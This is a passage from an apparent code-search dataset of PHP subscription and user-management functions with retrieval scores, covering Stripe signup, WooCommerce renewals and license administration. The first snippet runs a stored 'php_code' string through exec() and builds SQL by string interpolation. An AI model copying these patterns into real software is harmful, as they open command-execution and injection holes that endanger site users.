as $groupKey){\n\t\t\t\tif(($expData = $DB->fetchRow(\"SELECT * FROM {$this->config['db_prefix']}isubscribe_expirations WHERE user_id = '{$userid}' AND group_key = '{$groupKey}'\"))){\n\t\t\t\t\tif($this->GetConfig('greater_cumulative_subscriptions')){\n\t\t\t\t\t\tif($expData['expire_tstamp'] > $currentExpiration) $currentExpiration = $expData['expire_tstamp'];\n\t\t\t\t\t}else{\n\t\t\t\t\t\tif($expData['expire_tstamp'] < $currentExpiration) $currentExpiration = $expData['expire_tstamp'];\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\t};\n\t\t};\n\t\t$expirationTstamp = $currentExpiration+$secsDuration;\n\t}else{\n\t\t// never expires\n\t\t$expirationTstamp = 0;\n\t};\n\n\t$groups = explode(',', $subData['groups']);\n\n\tforeach($groups as $groupKey){\n\t\t$groupKey = preg_replace('/[^a-zA-Z0-9\\-_]/', '', $groupKey);\n\n\t\tif($DB->countRows(cms_db_prefix().'iusers', \"id = '{$userid}'\")==0){\n\t\t\tcontinue;\n\t\t};\n\n\t\tif($DB->countRows(cms_db_prefix().'iusers_groups', \"keyname = '{$groupKey}'\")==0){\n\t\t\tcontinue;\n\t\t};\n\n\t\t$dbParams = array(\n\t\t\t'user_id' => $userid,\n\t\t\t'group_key' => $groupKey\n\t\t);\n\n\t\t$DB->insert(cms_db_prefix().'iusers_to_groups', $dbParams);\n\n\t\t$dbParams['expire_tstamp'] = $expirationTstamp;\n\t\t$dbParams['has_expired'] = 0;\n\t\t$dbParams['price_obj'] = serialize($priceData);\n\t\t$dbParams['subscription_obj'] = serialize($subData);\n\t\t$dbParams['gateway_obj'] = $CRYPT->crypt(serialize($gwObj));\n\n\t\t$DB->insert(cms_db_prefix().'isubscribe_expirations', $dbParams);\n\n\n//\t\tvar_dump($dbParams);\n\n\t};\n\n\t// add the subscription to userid association\n\t$dbParams = array(\n\t\t'user_id' => $userid,\n\t\t'subscription_id' => $subData['id'],\n\t\t'expire_tstamp' => $expirationTstamp\n\t);\n\n\t$DB->insert(cms_db_prefix().'isubscribe_users_to_subscriptions', $dbParams);\n\n\t// call the user defined function, if exists\n\tif(trim($subData['php_code'])!='') {\n\t\texec($subData['php_code']);\n\t};\n\n\t// call any other modules that may have an API for this action\n\t$hookParams = array(\n 'isubscribe_object' => $this,\n 'subscription_data' => $subData,\n 'price_data' => $priceData,\n 'gateway_object' => $gwObj,\n 'expire_tstamp' => $expirationTstamp,\n 'user_data' => $uData\n );\n \n\t$newParams = Antz::Hookup('ISubscribe_AddSubscription', $hookParams);\n unset($newParams);\n\n\treturn $expirationTstamp;\n}", "title": "" }, { "docid": "49306f3ede036c80163894153674d64e", "score": "0.51227814", "text": "public function createSubscriptionTransaction(User_Model_User $user, Zend_Db_Table_Row_Abstract $subscription, Payment_Model_Package $package, array $params = array()) {\n \n }", "title": "" }, { "docid": "fd0e20311ee08c416bc6b47c02b66c06", "score": "0.5114869", "text": "function afww_lifecycle_update_subscriptions( $appid, $authtoken, $config )\n{\n \n $subs = afww_config_subscription( $config );\n \n foreach ( $subs as $sub )\n {\n afww_subscriptions_create( $appid, $authtoken, $sub );\n }\n}", "title": "" }, { "docid": "ae72886049164f0954e92adacdd9cdae", "score": "0.51136327", "text": "public function setSubscriptionId(?string $value): void {\n $this->getBackingStore()->set('subscriptionId', $value);\n }", "title": "" }, { "docid": "fc5eec8bde95b0ff8867f89b682cb1e5", "score": "0.51110965", "text": "public function enable(user $user)\n {\n\n }", "title": "" }, { "docid": "a0e3bc391856faedbb6f57cdcc5e7785", "score": "0.50909466", "text": "public function setApproval(ObjectStorage $backendUsers);", "title": "" }, { "docid": "b1622efa3a560deb4414cf59cffea9be", "score": "0.5083163", "text": "public static function checkUserSubscription($appId=''){\r\n \tif($appId == '')\r\n \t\t$appId = Utils::getLoginedUserApp();\r\n \t\t\r\n \t$date \t\t\t= date(\"Y-m-d\");\r\n\t\t//$date \t\t\t= '2014-10-03';\r\n \t\t\r\n \r\n\t \t$db\t\t\t \t= new Db();\r\n\t\t\t$planExpire \t= $db->selectRow(\"smb_account\",\"smb_subscription_expire_date\",\"smb_acc_id=\".$appId);\r\n\t\t\t\r\n\t\t\t$expDate \t\t= date('Y-m-d',strtotime($planExpire));\r\n\t\t\tif($date >= $expDate) { // subscription expired. redirect to subscription page\r\n\t\t\t\tif(Utils::checkUserPermission($section)) \r\n\t\t\t\t\tredirect('app/subscriptions/upgradeplan');\r\n\t\t\t\telse\r\n \t \t \t\theader(\"Location:\".BASE_URL.'app/nopermission');\r\n\t\t\t}\r\n \t\t}", "title": "" }, { "docid": "7fbe71adcda530d4e2fed53227fcc24a", "score": "0.5079676", "text": "public function executeSubscriptionAgreement()\n {\n $this->validate($this->request, [\n 'agreement_id' => 'required|string|min:1',\n 'plan_id' => 'required|integer|exists:billing_plans,id',\n ]);\n\n $subscriptionId = $this->paypal->subscriptions()->executeAgreement(\n $this->request->get('agreement_id')\n );\n\n $plan = $this->billingPlan->findOrFail($this->request->get('plan_id'));\n $this->request->user()->subscribe('paypal', $subscriptionId, $plan);\n\n return $this->success(['user' => $this->request->user()->loadPermissions()->load('subscriptions.plan')]);\n }", "title": "" }, { "docid": "989268a176788c913f40b06b3d1c36a6", "score": "0.5078723", "text": "public function incscribe2($subscribe_to) {\n\t $this->Userstat = ClassRegistry::init('Userstat');\n\t\t$this->Subscription = ClassRegistry::init('Subscription');\n\t\t//recoded begins for subscribes of user_id\n\t\t$user_id=$subscribe_to;\n\t\t$this->submitlog($user_id,\"incscribefast\");\n\t\t$userstatrow=$this->Userstat->find('first',array('conditions'=>array('Userstat.user_id'=>$user_id),'contain'=>false,'fields'=>array('Userstat.id')));\n\t\tif($userstatrow!=NULL)\n\t\t{\n\t\t$this->Userstat->id=$userstatrow['Userstat']['id'];\n\t }else{\n\t\t$this->Userstat->id=NULL;\n\t\t}\n\t\t$subscribe=$this->Subscription->find('count',array('conditions'=>array('Subscription.subscriber_id'=>$user_id)));\n\t\t $userstat_data=\n\t\t\tarray('Userstat' =>array(\n\t\t\t'user_id' => $user_id,\n\t\t\t'subscribe' => $subscribe));\n\t\t\t\n\t\tif($this->Userstat->save($userstat_data)){$this->potential($user_id);}\n\t\t//recoded ends\t\n\t\t//recoded begins for subscribeto of channel\n\t\t$userstatrow=$this->Userstat->find('first',array('conditions'=>array('Userstat.user_id'=>$subscribe_to),'contain'=>false,'fields'=>array('Userstat.id')));\n\t\tif($userstatrow!=NULL)\n\t\t{\n\t\t$this->Userstat->id=$userstatrow['Userstat']['id'];\n\t }else{\n\t\t//$this->Userstat->id=NULL;\n\t\t}\n\t\t$subscribeto=$this->Subscription->find('count',array('conditions'=>array('Subscription.subscriber_to_id'=>$subscribe_to)));\n\t\t$userstat_data2=\n\t\t\tarray('Userstat' =>array(\n\t\t\t'user_id' => $subscribe_to,\n\t\t\t'subscribeto' => $subscribeto));\n\t\t\n\t\tif($this->Userstat->save($userstat_data2)){$this->potential($subscribe_to);}\n\t\t//recoded ends\t\n\t}", "title": "" }, { "docid": "354230352184da8e1470863ac1f1f98a", "score": "0.50732565", "text": "function bbp_remove_user_subscription($user_id = 0, $object_id = 0, $type = 'post')\n{\n}", "title": "" }, { "docid": "389e2ddcd7982d646bc2811ed904afbe", "score": "0.5058085", "text": "public function index(User $user)\n {\n $user->load('subscriptions.plan');\n return Utility::json_success($user->subscriptions);\n }", "title": "" }, { "docid": "e6b448d74fbe652cb1522dba7a9a4ef7", "score": "0.5042607", "text": "public abstract function getSubscriptionManager();", "title": "" }, { "docid": "6e1960dbd14d60c2c4db56970359b5b9", "score": "0.50366217", "text": "public function webhook($request)\n {\n $email = $request->email;\n $user = User::where('email', $email)->firstOrFail();\n \n //subscription_id -- Find the plan\n $subscription_plan_id = $request->subscription_plan_id;\n $plan = Plans::where('paddle_id', $subscription_plan_id)->firstOrFail();\n\n \n //subscription_id -- Find the plan\n $subscription_plan_id = $request->subscription_plan_id;\n $plan = Plans::where('paddle_id', $subscription_plan_id)->firstOrFail();\n\n //Status is to decide what to do\n $status = $request->status;\n\n if ($status == 'active' || $status == 'trialing') {\n //Assign the user this plan\n $user->plan_id = $plan->id;\n $user->plan_status = $status;\n $user->cancel_url = $request->cancel_url;\n $user->update_url = $request->update_url;\n $user->subscription_plan_id = $request->subscription_plan_id;\n $user->update();\n }\n\n if ($status == 'deleted') {\n //Remove assigned plan to user\n $user->plan_id = null;\n $user->plan_status = '';\n $user->cancel_url = '';\n $user->update_url = '';\n $user->subscription_plan_id = null;\n $user->update();\n }\n }", "title": "" }, { "docid": "7efccc6512d6bfdae62efcf427455fd4", "score": "0.5026447", "text": "private function sendNoSubscriptionEmail(IUser $user) {\t\t$language = $this->config->getUserValue($user->getUID(), 'core', 'lang', 'en');\n\t\t$l = $this->l10nFactory->get('support', $language);\n\n\t\t$link = $this->urlGenerator->getAbsoluteURL($this->urlGenerator->linkToRoute('settings.AdminSettings.index', ['section' => 'support']));\n\n\t\t$message = $this->mailer->createMessage();\n\n\t\t$emailTemplate = $this->mailer->createEMailTemplate('support.SubscriptionNotification', [\n\t\t\t'displayName' => $user->getDisplayName(),\n\t\t]);\n\n\t\t$emailTemplate->setSubject($l->t('Your server has no Nextcloud Subscription'));\n\t\t$emailTemplate->addHeader();\n\t\t$emailTemplate->addHeading($l->t('Your Nextcloud server is not backed by a Nextcloud Enterprise Subscription.'));\n\t\t$text = $l->t('A Nextcloud Enterprise Subscription means the original developers behind your self-hosted cloud server are 100% dedicated to your success: the security, scalability, performance and functionality of your service!');\n\n\t\t$listItem1 = $l->t('If your server setup breaks and employees can\\'t work anymore, you don\\'t have to rely on searching online forums for a solution. You have direct access to our experienced engineers!');\n\t\t$listItem2 = $l->t('You have a contract with the vendor providing early security information, mitigations, patches and updates.');\n\t\t$listItem3 = $l->t('If you need to stay longer on your current version without disruptions, you don\\'t have to run software without security updates.');\n\t\t$listItem4 = $l->t('You have the best expertise at hand to deal with performance and scalability issues.');\n\t\t$listItem5 = $l->t('You have access to the right documentation and expertise to quickly answer compliance questions or deliver on GDPR, HIPAA and other regulation requirements.');\n\n\t\t$text2 = $l->t('We can also provide Outlook integration, Online Office, scalable integrated audio-video and chat communication an other features only available in a limited form for free or develop further integrations and capabilities to your needs.');\n\t\t$text3 = $l->t('A subscription helps you get the most out of Nextcloud!');\n\n\t\t$emailTemplate->addBodyText(\n\t\t\thtmlspecialchars($text),\n\t\t\t$text\n\t\t);\n\n\t\t$emailTemplate->addBodyListItem(htmlspecialchars($listItem1), '', '', $listItem1);\n\t\t$emailTemplate->addBodyListItem(htmlspecialchars($listItem2), '', '', $listItem2);\n\t\t$emailTemplate->addBodyListItem(htmlspecialchars($listItem3), '', '', $listItem3);\n\t\t$emailTemplate->addBodyListItem(htmlspecialchars($listItem4), '', '', $listItem4);\n\t\t$emailTemplate->addBodyListItem(htmlspecialchars($listItem5), '', '', $listItem5);\n\n\t\t$emailTemplate->addBodyText(\n\t\t\thtmlspecialchars($text2) . '<br><br>' .\n\t\t\thtmlspecialchars($text3),\n\t\t\t$text2 . \"\\n\\n\" .\n\t\t\t$text3\n\t\t);\n\n\t\t$emailTemplate->addBodyButton(\n\t\t\t$l->t('Learn more now'),\n\t\t\t$link\n\t\t);\n\n\t\t$generalLink = $this->urlGenerator->getAbsoluteURL('/');\n\t\t$noteText = $l->t('This mail was sent to all administrators by the support app on your Nextcloud instance at %1$s because you have over %2$s registered users.', [$generalLink, self::THRESHOLD_LARGE]);\n\t\t$emailTemplate->addBodyText($noteText);\n\n\t\t$emailTemplate->addFooter();\n\t\t$message->useTemplate($emailTemplate);\n\n\t\t$attachment = $this->mailer->createAttachmentFromPath(__DIR__ . '/../../resources/Why the Nextcloud Subscription.pdf');\n\t\t$message->attach($attachment);\n\t\t$message->setTo([$user->getEMailAddress()]);\n\n\t\t$this->mailer->send($message);\n\t}", "title": "" }, { "docid": "2ea81fbec455ee11daa599ed204f38d9", "score": "0.5014268", "text": "public static function subscribe($userId, $line)\n {\n global $db;\n\n $req = $db->prepare('INSERT INTO subscriptions(user_id, line) VALUES (?, ?)');\n $req->execute([$userId, $line]);\n }", "title": "" }, { "docid": "dc9f5eacd113c3376188857c1ccbc937", "score": "0.5003683", "text": "public function addUserRecipient(NotifiableUser $user): static;", "title": "" }, { "docid": "422d637a19a2bf07f8aa3d9e5ad3e982", "score": "0.49966925", "text": "public function sendVerificationRequestEmailMessage(UserInterface $user): void;", "title": "" }, { "docid": "dd7e8fb68c02010efd574ceeb2237e97", "score": "0.49879065", "text": "function tux_su_licenses_admin_create() {\n\n\tif ( ! current_user_can( 'administrator' ) || ! isset( $_POST['tux_su_nonce'], $_POST['tux_product_id'], $_POST['tux_user_id'] ) || ! wp_verify_nonce( $_POST['tux_su_nonce'], 'tux_create_edit_license' ) ) {\n\n\t\treturn;\n\n\t}\n\n\t$user_id = absint( $_POST['tux_user_id'] );\n\t$user = get_userdata( $user_id );\n\t$user_name = '';\n\n\tif ( false !== $user ) {\n\n\t\t$user_name = $user->user_login;\n\n\t}\n\n\tif ( isset( $_POST['tux_created_year'], $_POST['tux_created_month'], $_POST['tux_created_day'] ) ) {\n\n\t\t$year = absint( $_POST['tux_created_year'] );\n\t\t$month = absint( $_POST['tux_created_month'] );\n\t\t$day = absint( $_POST['tux_created_day'] );\n\n\t} else {\n\n\t\t$year = current_time( 'Y' );\n\t\t$month = current_time( 'm' );\n\t\t$day = current_time( 'd' );\n\n\t}\n\n\t$activations = array();\n\n\tif ( isset( $_POST['tux_id'] ) ) {\n\n\t\t$license = tux_su_get_db( array(\n\t\t\t'id' => $_POST['tux_id'],\n\t\t) );\n\n\t\t$license = reset( $license );\n\n\t\tif ( isset( $license['info'] ) ) {\n\n\t\t\t$license['info'] = maybe_unserialize( $license['info'] );\n\n\t\t}\n\n\t\tif ( isset( $license['info']['activations'] ) ) {\n\n\t\t\t$activations = $license['info']['activations'];\n\n\t\t}\n\t}\n\n\tif ( isset( $_POST['activation_delete'] ) ) {\n\n\t\tforeach ( $_POST['activation_delete'] as $activation_delete ) {\n\n\t\t\tunset( $activations[ $activation_delete ] );\n\n\t\t}\n\t}\n\n\t$tux_insert = tux_su_update_db( array(\n\t\t'id' => isset( $_POST['tux_id'] ) ? $_POST['tux_id'] : 0,\n\t\t'user_id' => $user_id,\n\t\t'product_id' => $_POST['tux_product_id'],\n\t\t'type' => 'license',\n\t\t'info' => array(\n\t\t\t'child_id' => ! empty( $_POST['tux_child_id'] ) ? absint( $_POST['tux_child_id'] ) : 0,\n\t\t\t'order_id' => isset( $_POST['tux_order_id'] ) ? absint( $_POST['tux_order_id'] ) : 0,\n\t\t\t'user_name' => wp_strip_all_tags( $user_name ),\n\t\t\t'activations' => $activations,\n\t\t),\n\t\t'created' => date( 'Y-m-d', strtotime( \"{$year}-{$month}-{$day}\" ) ),\n\t) );\n\n\t$sendback = admin_url( 'admin.php?page=tuxedo-su-licenses' );\n\n\tif ( false === $tux_insert ) {\n\n\t\t$sendback = add_query_arg( 'updated', 'error', $sendback );\n\n\t} else {\n\n\t\t$sendback = add_query_arg( 'updated', 'success', $sendback );\n\n\t}\n\n\twp_redirect( $sendback );\n\texit();\n\n}", "title": "" }, { "docid": "f2f3faf8bbb7d5bbaa77c4a691bfeb73", "score": "0.49827895", "text": "public function isSubscriptionRequired();", "title": "" }, { "docid": "0c4b63756956f63f9dde54a688fa1096", "score": "0.49807274", "text": "function p2pu_rules_action_subscribe_user_to_course_comments($user, $node) {\r\n\t$type = 'thread';\r\n\t$event_type = 'node';\r\n\t$field = 'nid';\r\n\t$value = $node->nid;\r\n\t// if user is not already subscribed\r\n\t$subscription = array(\r\n 'uid' => $user->uid,\r\n 'type' => $type,\r\n 'event_type' => $event_type,\r\n 'fields' => array($field => $value),\r\n );\r\n\tnotifications_save_subscription($subscription); // This function handles duplicate subscriptions\r\n\tdrupal_set_message(t('User was subscribed to the course home page comments.'));\r\n}", "title": "" }, { "docid": "09c47c9d4ea320732d02a03d79aee387", "score": "0.4978688", "text": "public function activate($user);", "title": "" }, { "docid": "000748d08e5211ed058a2ef1a3ae77b3", "score": "0.49757832", "text": "public function __construct($user, $subscription)\n {\n //\n $this->user = $user;\n $this->subscription = $subscription;\n }", "title": "" }, { "docid": "cccde5477fe4ea2b0cc7051c0575ddbf", "score": "0.49744993", "text": "public static function maybe_create_renewal_order_for_user() {\n\t\tglobal $woocommerce;\n\n\t\tif ( isset( $_GET['renew_subscription'] ) && isset( $_GET['_wpnonce'] ) ) {\n\n\t\t\t$user_id = get_current_user_id();\n\t\t\t$subscription = WC_Subscriptions_Manager::get_subscription( $_GET['renew_subscription'] );\n\n\t\t\tif ( isset( $_GET['role'] ) ) {\n\t\t\t\t$role = woocommerce_clean( $_GET['role'] );\n\t\t\t} else {\n\t\t\t\t$role = 'parent';\n\t\t\t}\n\n\t\t\t$redirect_to = get_permalink( woocommerce_get_page_id( 'myaccount' ) );\n\n\t\t\tif ( wp_verify_nonce( $_GET['_wpnonce'], __FILE__ ) === false ) {\n\n\t\t\t\tWC_Subscriptions::add_notice( __( 'There was an error with the renewal request. Please try again.', 'woocommerce-subscriptions' ), 'error' );\n\n\t\t\t} elseif ( empty( $subscription ) ) {\n\n\t\t\t\tWC_Subscriptions::add_notice( __( 'That doesn\\'t appear to be one of your subscriptions.', 'woocommerce-subscriptions' ), 'error' );\n\n\t\t\t} elseif ( ! self::can_subscription_be_renewed( $_GET['renew_subscription'], $user_id ) ) {\n\n\t\t\t\tWC_Subscriptions::add_notice( __( 'That subscription can not be renewed. Please contact us if you need assistance.', 'woocommerce-subscriptions' ), 'error' );\n\n\t\t\t} else {\n\n\t\t\t\t$original_order = new WC_Order( $subscription['order_id'] );\n\n\t\t\t\t$product_id = $subscription['product_id'];\n\t\t\t\t$product = get_product( $product_id );\n\t\t\t\t$item = WC_Subscriptions_Order::get_item_by_product_id( $original_order, $product_id );\n\n\t\t\t\t$variation_id = '';\n\t\t\t\t$variation_data = array();\n\n\t\t\t\t// Display error message for deleted products\n\t\t\t\tif ( false === $product ) {\n\n\t\t\t\t\tWC_Subscriptions::add_notice( self::$product_deleted_error_message, 'error' );\n\n\t\t\t\t// Make sure we don't actually need the variation ID (if the product was a variation, it will have a variation ID; however, if the product has changed from a simple subscription to a variable subscription, there will be no variation_id)\n\t\t\t\t} elseif ( $product->is_type( array( 'variable-subscription' ) ) && ! empty( $item['variation_id'] ) ) {\n\n\t\t\t\t\t$variation_id = $item['variation_id'];\n\t\t\t\t\t$variation = get_product( $variation_id );\n\n\t\t\t\t\tif ( false === $variation ) {\n\t\t\t\t\t\tWC_Subscriptions::add_notice( self::$product_deleted_error_message, 'error' );\n\t\t\t\t\t\t$variation_data = array();\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$variation_data = $variation->get_variation_attributes();\n\t\t\t\t\t}\n\n\t\t\t\t} elseif ( $product->is_type( array( 'subscription_variation' ) ) ) { // Handle existing renewal orders incorrectly using variation_id as the product_id\n\n\t\t\t\t\t$product_id = $product->id;\n\t\t\t\t\t$variation_id = $product->get_variation_id();\n\t\t\t\t\t$variation_data = $product->get_variation_attributes();\n\n\t\t\t\t}\n\n\t\t\t\t// Make sure a value is set for each attribute - handles the \"catch all\" variations which do not have a value set for an attribute, but which will have been set on the cart item when the customer added the item\n\t\t\t\tif ( ! empty( $variation_data ) ) {\n\t\t\t\t\tforeach ( $variation_data as $attribute_name => $attribute_value ) {\n\t\t\t\t\t\tif ( empty( $attribute_value ) && ! empty( $item[ str_replace( 'attribute_', '', $attribute_name ) ] ) ) {\n\t\t\t\t\t\t\t$variation_data[ $attribute_name ] = $item[ str_replace( 'attribute_', '', $attribute_name ) ];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$cart_item_data = array(\n\t\t\t\t\t'subscription_renewal' => array(\n\t\t\t\t\t\t'original_order' => $original_order->id,\n\t\t\t\t\t\t'failed_order' => null,\n\t\t\t\t\t\t'role' => $role\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t$cart_item_data = apply_filters( 'woocommerce_order_again_cart_item_data', $cart_item_data, $item, $original_order );\n\n\t\t\t\twoocommerce_empty_cart();\n\n\t\t\t\t$woocommerce->cart->add_to_cart( $product_id, 1, $variation_id, $variation_data, $cart_item_data );\n\n\t\t\t\tWC_Subscriptions::add_notice( __( 'Renew your subscription.', 'woocommerce-subscriptions' ), 'success' );\n\n\t\t\t\t$redirect_to = $woocommerce->cart->get_checkout_url();\n\t\t\t}\n\n\t\t\twp_safe_redirect( $redirect_to );\n\t\t\texit;\n\t\t}\n\t}", "title": "" }, { "docid": "eca9de8c9ca5b5f3309e32795a8a7810", "score": "0.49670488", "text": "function onNotifyUserApprove(User $user, Stage $stage, $objApproval)\n\t{\n\t}", "title": "" }, { "docid": "473c70c754bd1446cc403ba588410727", "score": "0.49594164", "text": "public function add(SubscriptionPlan $entity): void;", "title": "" }, { "docid": "bb6f818559a733222903bf9e81873196", "score": "0.49593398", "text": "public function validateSubscription(){\n $user = User::find(auth()->id());\n $now = Carbon::now();\n foreach($user->subscriptions as $subscription)\n {\n \n if(!($subscription->expired_at > $now) && $subscription->status != 'expired'){\n $subscription->status = 'expired';\n $subscription->save();\n } \n \n \n }\n }", "title": "" }, { "docid": "1944ecf3b2063c21bd981e51ae46cf4a", "score": "0.49587137", "text": "public function doAdminApprovalAndInformUser()\n\t{\n\t\t$activationKey = $this->input->get('token',null,'alnum'); \n\t\t$user_id \t\t= $this->getUserId($activationKey);\n\t\n\t\t$user = JUser::getInstance($user_id);\n\t\t$user->setParam(self::PARAM_ADMIN_APPROVED,'1');\n\t\t$user->set('block', '0');\n\t\t$user->set('activation','');\n\t\t\n\t\tif (!$user->save()){\n\t\t\t$this->app->redirect('index.php',JText::_('PLG_XIAA_USER_SAVE_ERROR'));\n\t\t}else{\n\t\t\t// inform user\n\t\t\t$this->sendMessage($user_id, self::MESSAGE_APPROVED);\t\t\n\t\t\t$this->app->redirect('index.php', JText::_('PLG_XIAA_USER_HAS_BEEN_APPROVED_BY_ADMIN'));\n\t\t}\n\t}", "title": "" }, { "docid": "3fe645367b03361c185a4a4d71337d64", "score": "0.4956582", "text": "public function activate_subscription( \\WC_Order $order ) {\n $product_pack = $this->get_product();\n $pack_id = $product_pack->get_id();\n $user_id = $order->get_customer_id();\n\n if ( ! $product_pack || 'product_pack' !== $product_pack->get_type() ) {\n return;\n }\n\n update_user_meta( $user_id, 'can_post_product', '1' );\n update_user_meta( $user_id, 'product_package_id', $pack_id );\n\n //number of products\n update_user_meta( $user_id, 'product_no_with_pack', get_post_meta( $product_pack->get_id(), '_no_of_product', true ) );\n update_user_meta( $user_id, 'product_pack_startdate', dokan_current_datetime()->format( 'Y-m-d H:i:s' ) );\n update_user_meta( $user_id, 'product_order_id', $order->get_id() );\n update_user_meta( $user_id, 'product_pack_enddate', $this->get_product_pack_end_date() );\n update_user_meta( $user_id, 'dokan_has_active_cancelled_subscrption', false );\n\n if ( $this->is_recurring() ) {\n update_user_meta( $user_id, '_customer_recurring_subscription', 'active' );\n } else {\n update_user_meta( $user_id, '_customer_recurring_subscription', '' );\n }\n\n $this->setup_commissions( $user_id );\n\n do_action( 'dokan_vendor_purchased_subscription', $user_id );\n }", "title": "" }, { "docid": "7878b71f079d96626d31ea6a95655f46", "score": "0.495438", "text": "public function addSubscriber(Tx_MmForum_Domain_Model_User_FrontendUser $user) {\n\t\t$this->subscribers->attach($user);\n\t}", "title": "" }, { "docid": "7878b71f079d96626d31ea6a95655f46", "score": "0.495438", "text": "public function addSubscriber(Tx_MmForum_Domain_Model_User_FrontendUser $user) {\n\t\t$this->subscribers->attach($user);\n\t}", "title": "" }, { "docid": "373597753f6cb5bbbee59f72dc3f7709", "score": "0.49498716", "text": "public static function subscriptionExpired($userId = false) {\n }", "title": "" }, { "docid": "74b1afd60390b19aa6d37d481ee11c43", "score": "0.49434975", "text": "function subscribe($channel) {\n\t\t\t$this->call(\"subscriptions?part=snippet\",json_encode(array(\"snippet\" => array(\"resourceId\" => array(\"channelId\" => $channel)))),\"POST\");\n\t\t}", "title": "" }, { "docid": "1aac899a4cf387522241a1f1b934bf39", "score": "0.49376914", "text": "function bbp_get_user_subscribe_link($args = array(), $user_id = 0, $wrap = \\true)\n{\n}", "title": "" }, { "docid": "6d92ed401c28721c41f98bda3c61de2c", "score": "0.49357176", "text": "function actionCreateAdvisorSubscription() {\n if (!isset(Yii::app()->getSession()->get('wsadvisor')->id)) {\n $this->sendResponse(200, CJSON::encode(array(\"status\" => \"ERROR\", \"message\" => \"Session Expired\")));\n }\n $advisorId = Yii::app()->getSession()->get('wsadvisor')->id;\n\n $advisorDetails = array();\n $email = \"\";\n $zipcode = \"\";\n $plan = \"\";\n $planname = \"\";\n $description = \"\";\n $message = \"\";\n\n if ($advisorId) {\n $advisorDetails = Advisor::model()->find(\"id = :advisor_id\", array(\"advisor_id\" => $advisorId));\n }\n if ($advisorDetails) {\n $email = $advisorDetails->email;\n\n if (isset($_POST['zipCode'])) {\n $zipcode = $_POST['zipCode'];\n $advisorDetails->zip = $zipcode;\n $advisorDetails->save();\n }\n }\n\n $subscription = AdvisorSubscription::model()->find(array('condition' => \"advisor_id=:advisor_id\",'params' => array(\"advisor_id\" => $advisorId)));\n\n if ($subscription && isset($subscription->stripesubscriptionid) && $subscription->stripesubscriptionid != \"\") {\n $this->sendResponse(200, CJSON::encode(array('status' => 'ERROR', 'subscription_status' => 'already_exists',\n 'message' => 'Our records show that you already have an active advisor subscription. If your credit card needs to be updated in order to renew your\n FlexScore Pro Subscription, please use the <a href=\"javascript:window.parent.openCreditCardDialog()\">update credit card form</a>.')));\n }\n\n if (!$subscription) {\n $subscription = new AdvisorSubscription();\n $subscription->subscriptionstart = date(\"Y-m-d H:i:s\");\n }\n\n $trialEndString = \"\";\n $trialPeriod = false;\n $earlyBirdEndDate = new DateTime(\"2015-01-01 00:00:00\");\n $currentPeriodEndString = \"\";\n $currentPeriodStartString = date(\"Y-m-d H:i:s\");\n\n // Early bird subscriptions will be in effect until December 31, 2014.\n // Early bird subscriptions will receive a 60 day trial period.\n $created = new DateTime($advisorDetails->createdtimestamp);\n $today = new DateTime();\n $startTime = strtotime(date($advisorDetails->createdtimestamp));\n $trialPeriod = true;\n if ($created < $earlyBirdEndDate) {\n $plan = \"advisor-earlybird\";\n $planname = \"FlexScore Advisor Early Bird\";\n $description = \"FlexScore Early Bird subscription for \" . $email;\n $trialEndString = date(\"Y-m-d H:i:s\", strtotime(\"+60 day\", $startTime));\n } else {\n $plan = \"advisor-pro\";\n $planname = \"FlexScore Advisor Pro\";\n $description = \"FlexScore Pro subscription for \" . $email;\n $trialEndString = date(\"Y-m-d H:i:s\", strtotime(\"+7 day\", $startTime));\n }\n\n /***************************************************************************/\n /* Two slashes to test failed payments using two minute trial period\n $plan = \"advisor-test\";\n $planname = \"FlexScore Advisor Testing\";\n $description = \"FlexScore Pro subscription for \" . $email;\n $trialEndString = date(\"Y-m-d H:i:s\", strtotime(\"+5 minute\", $startTime));\n /*\n /***************************************************************************/\n\n $currentPeriodEndString = $trialEndString;\n $trialDate = new DateTime($trialEndString);\n if ($trialDate < $today) {\n $trialPeriod = false;\n $currentPeriodEndString = date(\"Y-m-d H:i:s\", strtotime(\"+1 month\", strtotime(date(\"Y-m-d H:i:s\"))));\n }\n\n try {\n $errors = array();\n\n if (isset($_POST['stripeToken'])) {\n $token = $_POST['stripeToken'];\n\n Subscription::factory();\n if ($subscription && isset($subscription->stripecustomerid) && $subscription->stripecustomerid != \"\") {\n $customer = Stripe_Customer::retrieve($subscription->stripecustomerid);\n if ($trialPeriod == true) {\n $stripeSubscription = $customer->subscriptions->create(array(\n \"card\" => $token,\n \"plan\" => $plan,\n \"trial_end\" => strtotime($trialEndString))\n );\n }\n else {\n $stripeSubscription = $customer->subscriptions->create(array(\n \"card\" => $token,\n \"plan\" => $plan)\n );\n }\n Subscription::factory();\n $customer = Stripe_Customer::retrieve($subscription->stripecustomerid);\n }\n else if ($trialPeriod == true) {\n $customer = Stripe_Customer::create(array(\n \"card\" => $token,\n \"plan\" => $plan,\n \"trial_end\" => strtotime($trialEndString),\n \"email\" => $email)\n );\n }\n else {\n $customer = Stripe_Customer::create(array(\n \"card\" => $token,\n \"plan\" => $plan,\n \"email\" => $email)\n );\n }\n if ($customer) {\n $expirationDate = date(\"Y-m-t H:i:s\", strtotime($customer->cards->data[0]->exp_year . \"-\" . $customer->cards->data[0]->exp_month . \"-01 23:59:59\"));\n\n $subscription->advisor_id = $advisorId;\n $subscription->stripecustomerid = $customer->id;\n $subscription->stripesubscriptionid = $customer->subscriptions->data[0]->id;\n $subscription->stripecardid = $customer->cards->data[0]->id;\n $subscription->cardexpirationdate = $expirationDate;\n $subscription->planname = $planname;\n $subscription->description = $description;\n $subscription->subscriptionend = null;\n $subscription->currentperiodstart = $currentPeriodStartString;\n $subscription->currentperiodend = $currentPeriodEndString;\n $subscription->cardlast4 = $customer->cards->data[0]->last4;\n $subscription->cardtype = $customer->cards->data[0]->brand;\n $subscription->processor = \"Stripe\";\n $subscription->stripestatus = $customer->subscriptions->data[0]->status;\n $subscription->modifiedtimestamp = date(\"Y-m-d H:i:s\");\n $subscription->save();\n\n //data is valid and is successfully inserted/updated\n //send the email for verification\n $part = 'advisor-account-active';\n $emailToSend = new Email();\n $emailToSend->subject = 'Advisor Subscription Now Active';\n $emailToSend->recipient['email'] = $email;\n $emailToSend->recipient['name'] = \"{$advisorDetails->firstname} {$advisorDetails->lastname}\";\n $emailToSend->data[$part] = [\n 'email' => $email\n ];\n $emailToSend->send();\n 